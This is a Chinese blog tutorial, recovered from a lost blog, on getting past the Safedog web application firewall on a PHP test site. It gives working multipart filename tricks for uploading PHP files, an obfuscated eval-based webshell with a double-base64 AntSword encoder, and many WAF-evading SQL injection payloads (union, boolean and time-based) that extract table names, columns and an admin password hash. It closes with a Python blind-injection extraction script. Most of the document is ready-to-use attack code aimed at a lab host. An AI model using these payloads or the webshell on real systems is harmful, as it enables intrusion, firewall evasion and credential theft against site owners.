此文章为博客丢失找回内容
此文章为博客丢失找回内容可能存在部分内容缺失情况
一、绕过安全狗文件上传
先上传一个正常文件,观察一下基本情况
收集到基本信息
1.为windows系统php5.4.45环境 apache2.4.23环境 2.上传不是白名单 3.有回显路径 4.安全设备 安全狗
思考绕过安全狗要走的路程,一步一步的完成
1、要能上传php pHp 等 windows 能解析的后缀
2、内容检测,能够上传webshell,且要免杀,免杀包括文件免杀和连接流量免杀
1、完成恶意后缀的上传
1.1 闭合绕过
对filename的闭合进行修改,让安全狗无法定位到上传的文件名
去掉双引号绕过
Content-Disposition: form-data; name="upfile"; filename=1.php
Content-Type: image/jpeg
成功绕过安全狗
单引号混淆绕过
通过单引号干扰安全狗闭合的识别检测
Content-Disposition: form-data; name="upfile"; filename="1.jpg'\2.php"
Content-Type: image/jpeg
1.2 垃圾字符绕过
通过构造垃圾字符filename=,干扰安全狗对filename的检测,后台只会处理最后一个filename=
Content-Disposition: form-data; name="upfile"; filename="1.jpg";filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=;filename=3.php
Content-Type: image/jpeg
1.3 高并发绕过
在高并发情况下,安全狗可能处理不过来,会直接放过,毕竟防护设备不能影响正常业务,业务的并发>安全狗的并发
上传成功
2.免杀 文件和流量层
已知道php版本 5.4.45,可以拼接函数名调用函数,不用直面eval容易很多,流量层多次base64就行,因为防护设备不可能多次解码,消耗时间,其次在每次编码前加随机长度字符串,base64也解不开。当然也可以用异或对称加密非对称加密等等。
之前学习过php webshell免杀,直接用试试吧
之前学习写的文章地址:
蚁剑编码器
/**
* php::base64编码器
* Create at: 2020/11/21 15:21:10
*/
'use strict';
/*
* @param {String} pwd 连接密码
* @param {Array} data 编码器处理前的 payload 数组
* @return {Array} data 编码器处理后的 payload 数组
*/
module.exports = (pwd, data, ext={}) => {
// ########## 请在下方编写你自己的代码 ###################
// 以下代码为 PHP Base64 样例
// 生成一个随机变量名
let randomID = `_0x${Math.random().toString(16).substr(2)}`;
// 原有的 payload 在 data['_']中
// 取出来之后,转为 base64 编码并放入 randomID key 下
data['_'] = Buffer.from(data['_']).toString('base64');
// shell 在接收到 payload 后,先处理 pwd 参数下的内容,
//data[pwd] = `${data['_']}"));`;
data[pwd] = Buffer.from(data['_']).toString('base64');
// ########## 请在上方编写你自己的代码 ###################
// 删除 _ 原有的payload
delete data['_'];
// 返回编码器处理后的 payload 数组
return data;
}
免杀的webshell:
<?php
header('HTTP/1.1 404');
class COMI {
public $c='';
function __destruct() {
return eval(substr($this->c, 0));
}
}
$comi = new COMI();
$password = &$password1;
$password1 = $_REQUEST['password'];
$post = &$password;
$post=base64_decode(base64_decode($post));
$lnng1 = &$lnng;
$lnng = $post;
$lnng2 = $lnng1;
@$comi->c = substr($lnng2, 0);
?>
上传:
蚁剑连接:
执行命令成功获取到权限:
二、绕过安全狗注入
1、判断闭合方式
使用fuzz判断后端的闭合方式,方便后续构造sql语句闭合
#
'-- +
'-- #
"-- +
"#
')-- +
')#
")-- +
")#
")-- +
根据fuzz结果,判断后端未进行闭合
2、判断是否存在sql注入
根据上面判断的闭合方式,构造闭合,然后尝试构造能够改变sql执行结果的语句,这里使用and进行拼接来改变sql语句结构,比如and 1=1,当然也可以使用or & ||等来替换and,效果不同而已。
//fuzz字典
and floor(rand()*2)#
and floor(rand()*2)--+
and floor(rand()*2)#
and floor(rand()*2)--+
and 1=1-- +
and 1=1#
and 1=2-- +
and 1=2#
and 2>1-- +
and 2>1#
and 1<2-- +
and 1<2#
and 1#
and 1-- +
and null#
and null-- +
and null is null#
and null is null-- +
and null is not null#
and null is not null-- +
and 0-- +
and 0#
and -~0-- +
and -~0#
and hex(0)-- +
and hex(0)#
and hex(1)-- +
and hex(1)#
and true#
and true-- +
and !true#
and !true-- +
and mod(4,3)#
and mod(4,3)-- +
and mod(4,2)#
and mod(4,2)--+
and floor(rand()*2)#
and floor(rand()*2)--+
and floor(rand()*2)#
and floor(rand()*2)--+
and '1'&1-- +
and '1'&1#
and '1'^1-- +
and '1'^1#
and -1--1--+
and -1--1#
and -1-1--+
and -1-1#
fuzz结果:
根据返回结果,可以判断这里存在sql注入,下面解释两个payload判断理由。
2.1 and null is null#和and null is not null#判断sql注入
本地测试环境
执行and null is null 和 and null is not null 发现返回结果不同
fuzz结果与我们的猜想结果一致,and null is null 为true 返回正常查询结果,and null is not null 为 false 返回查询不到结果,说明我们改变了sql的语法结构,此处存在sql注入。
2.2 and floor(rand()*2)# 判断sql注入
查看fuzz结果发现同一个payload(and floor(rand()*2)# 返回的执行结果却不相同,也构造随机不同的时间,查看不同的响应时间区别,这里构造随机真假。
说明我们的rand()随机数影响了sql的执行结果,可以改变sql语句的结构,本地测试rand():
利用rand()* 2 随机返回0和1 导致 and 1和 and 0两种不同的执行结果,与fuzz结果一致出现不同结果,由此判断此处存在sql注入。
3.联合注入过狗
3.1 判断字段数
已判断存在sql注入,且有回显,尝试使用联合查询回显我们想要的查询结果
构造联合查询需要知道前一个select的字段数,有两个方法:
- union select 1,2,3 一直向后加字段数来判断
- order by 加字段偏移数来判断字段数
由于union select后续同样需要bypass waf,学习为目的,这里先尝试order by过安全狗来判断字段数。
由于order by 后面的偏移数并不影响waf的检查,所有重点fuzz order by,可以在上图1,2位置插入字符来进行fuzz,先暂时不对order 或 by进行变换尝试。
// fuzz字典
%20
%0A
%0B
%0C
%0D
%20
+
!
-
@
'
~
{}
\N
;%00
`
/*/**/
/*!/*!*/
查看fuzz结果发现不需要编写order或by,已经可以绕过安全狗
payload:12 order//*/by#
所以继续fuzz by 后面的数值,就能判断字段数
payload:12 order//*/by 10#
3.2 union select 过狗
已经判断字段为10,进行联合查询发现被waf拦截。
select 后面的数字一般不会被waf拦截,主要是union select
暂时不改变union和select本身的变换,尝试fuzz,上图3的三个空白处。
// fuzz字典
%20
%0A
%0B
%0C
%0D
%20
/*/**/
/*!/*!*/
fuzz结果发现全都被安全狗拦截
所以这里需要变换一些union或者select,在进行fuzz,这里使用常用的内联注释来变换一下select为/*!/*!11440select*/,本地测试确实并不会影响sql的执行
原理:mysql中 /! …./ 不是注释,mysql为了保持兼容,它把一些特有的仅在mysql上用的语句放在/!…./中,这样这些语句如果在其他数据库中是不会被执行,但在mysql中它会执行。
变换select后waf会拦截,继续fuzz上面三个位置
fuzz出安全狗没有拦截的内容,payload:-12 union//**//!/!11440select/1,2,3,4,5,6,7,8,9,10#
3.3 查询数据库名称
直接将10换成database()发现会被安全狗拦截,由于前面都是bypass的,说明是识别database()的原因
本地尝试如何变形database()
发现上图1,2标注位置加空格等并不影响sql语句的执行,fuzz这两个位置
// fuzz 字典
%20
%0A
%0B
%0C
%0D
%20
/*/**/
/*!/*!*/
3.4 获取表名
payload:http://192.168.2.133/sqltest/showproducts.php?id=-12%20union/*/**//*!/*!11440select*/1,2,3,4,5,6,7,8,9,group_concat(table_name) from information_schema.tables where table_schema='xycms'#
发现安全狗并不拦截
如果拦截我们就需要考虑继续fuzz空白处,空白处不行,就考虑变换information_schema.tables
本地测试发现在1,2位置加空格并不影响sql 执行,所以如果waf拦截我们就可以fuzz所有空白处。同时也可以内联,本地测试如下图,并不影响sql 的运行。
3.5 获取表的字段值
这里安全狗并不拦截,所以我们直接获取就行了
payload:
-12 union%2f%2a%2f%2a%2a%2f/*!11441/*!11440select*/ 1,2,3,4,5,6,7,8,9,group_concat(column_name) from information_schema.columns where table_name=’manage_user’#
3.6 获取密码值
安全狗还是不拦截,直接获取就行,成功获取到admin密码
payload:-12 union%2f%2a%2f%2a%2a%2f/*!11441/*!11440select*/ 1,2,3,4,5,6,7,8,9,group_concat(m_name,0x7e,m_pwd) from manage_user#
解密:
4.布尔注入过狗
思考我们想要执行的语句and substr(1,1,1)=1
,本地测试我们在先不改变and、substr、=情况下,可插入其他符号的位置。
所以我们要fuzz上面四个位置,先看下能不能过狗
fuzz一半就发现有很多可以正常响应,且waf不来拦截的payload,且substr正常执行
继续构造后面我们想要执行的语句:and substr(hex(1),1,1)#当然也可以使用ascii等等把后续查询结果转换的操作都可以,这里使用hex()
发现waf不拦截
那我们继续构造我们想执行的东西
当然也可跳过计算长度,直接截取,看返回,都可以,所有我们想执行的下一步sql
and substr(length(hex(1)),1,1) =1#
4.1 获取数据库名称
waf还是不拦截哈哈哈,那我们继续构造,查询数据库长度
and/*/**/substr(length(hex(database())),1,1) =1#
开始拦截,说明是database()原因,那我们把上面联合查询的database的绕过弄过来先试试
发现还是被拦截了,那我们还是先fuzz database()的空白处,不行在变换database()
本地测试发现可以fuzz上图四个位置
成功fuzz到waf不拦截的payload:
http://192.168.2.223/sqltest/showproducts.php?id=12 and/*/**/substr(length(hex(/*/**/database (/*/**/) )),1,9999) =10#
说明hex后的数据库名长度为10,那我们继续fuzz获取数据库名,我们想执行的下一个查询
and/*/**/substr(hex(/*/**/database(/*/**/)),1,9999) = XXXX#
,waf不拦截,那我们直接获取就行了,写个脚本跑就行了。
4.2 获取表名称
还是先获取表名的长度,select直接用联合查询已经绕过的先尝试一下,发现waf不拦截,那我们直接跑就完了
payload=http://192.168.2.223/sqltest/showproducts.php?id=12%20and/*/**/substr(length(hex((/*!/*!11440select*/%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27xycms%27))),1,9999)=194#
继续查询表名,发现waf还是不拦截,payload:
12 and/*/**/substr(hex((/*!/*!11440select*/%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27xycms%27)),1,4)='636F'#
写个脚本跑一下
成功获取表名
4.3 获取字段值
和上面一样借助联合查询fuzz出来的payload,拼接一下布尔的payload
http://192.168.2.49/sqltest/showproducts.php?id=12%20and/*/**/substr(length(hex((/*!11441/*!11440select*/ group_concat(column_name) from information_schema.columns where table_name='manage_user'))),1,9999)=43#
发现waf也还是不拦截
那我们继续fuzz后面的数字,获取到长度为44
payload:http://192.168.2.49/sqltest/showproducts.php?id=12%20and/*/**/substr(hex((/*!11441/*!11440select*/ group_concat(column_name) from information_schema.columns where table_name='manage_user')),1,1)=5#
写个脚本跑一下:
def conuntRequestHash(url):
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0"
}
proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'}
text = requests.get(url=url, proxies=proxies, verify=False).text
return hash(text)
def getfield(url,lengthTable):
hash = conuntRequestHash(url)
database = ""
for num in range(1, lengthTable + 1):
hex = ['0','1', '2', '3', '4', '5', '6', '7', '8', '9', '10', 'A', 'B', 'C', 'D', 'E', 'F', 'lnng']
for hex1 in hex:
if hex1 == 'lnng':
print(str(num) + "出错了")
payload1 = database + hex1
parameter = "%20and/*/**/substr(hex((/*!/*!11440select*/%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_name%3d'manage_user'))%2c1%2c"+str(num)+")%3d'"+payload1+"'%23"
payload = url + parameter
request_hash = conuntRequestHash(payload)
if request_hash == hash:
database = database + hex1
print(database)
break
return database
成功获取字段值:id,m_name,m_pwd,c_date
4.4 获取密码
继续先获取长度,payload:http://192.168.2.49/sqltest/showproducts.php?id=12%20and/*/**/substr(length(hex((/*!11441/*!11440select*/ group_concat(m_name,0x7e,m_pwd) from manage_user))),1,99)=7#
同上面脚本,跑一下密码:
http://192.168.2.49/sqltest/showproducts.php?id=12%20and/*/**/substr(hex((/*!11441/*!11440select*/ group_concat(m_name,0x7e,m_pwd) from manage_user)),1,1)='7'#
成功得到账号密码:admin~21232f297a57a5a743894a0e4a801fc3
5.延时注入过狗
首先思考我们想执行的最简单的语句,那肯定是12 and if(1,1,1)
本地测试我们能变换的位置,发现图中的标注的三个位置我们都能添加别的字符。
fuzz上图中的三个位置
// fuzz字典
%20
%0A
%0B
%0C
%0D
%20
+
!
-
@
'
~
{}
\N
;%00
`
/*/**/
/*!/*!*/
fuzz发现有些payload甚至能正常返回页面,且waf不会拦截,所以暂时不用变换其他的
本地尝试其中的任意一个payload,发现并不影响我们后续的sleep(sql的执行顺序原因)
waf并不会拦截,当然还有很多可以使用fuzz出来的payload:
4.1 sleep 过狗
and if(1,1,1)# 已经fuzz出来能过狗的,那么下一步我们就要fuzz sleep(),让其先能延时,要看下sleep(),哪些地方可以放东西。
发现三个位置都可以放字符,所以用上面的方式fuzz这三个位置,暂时先不变换
发现加三个空格都不拦截了,这正则写的哈哈哈
所以下面我们只需要构造下面位置就行,和上面的一样
把上面布尔过狗的拿过来用就行
payload:
12%20and%20~if((substr(length(hex(/*/**/database%20(/*/**/)%20)),1,9999)%20=10),sleep%20(%2020%20),1)#
总上延时注入成功。
4.2 获取密码
上面布尔的payload拼接都是不拦截的不在赘述,这里直接给出延时注入最后获取密码的payload:
http://192.168.2.63/sqltest/showproducts.php?id=12 and ~if((substr(length(hex((/*!11441/*!11440select*/ group_concat(m_name,0x7e,m_pwd) from manage_user))),1,99)=76),sleep ( 20 ),1)#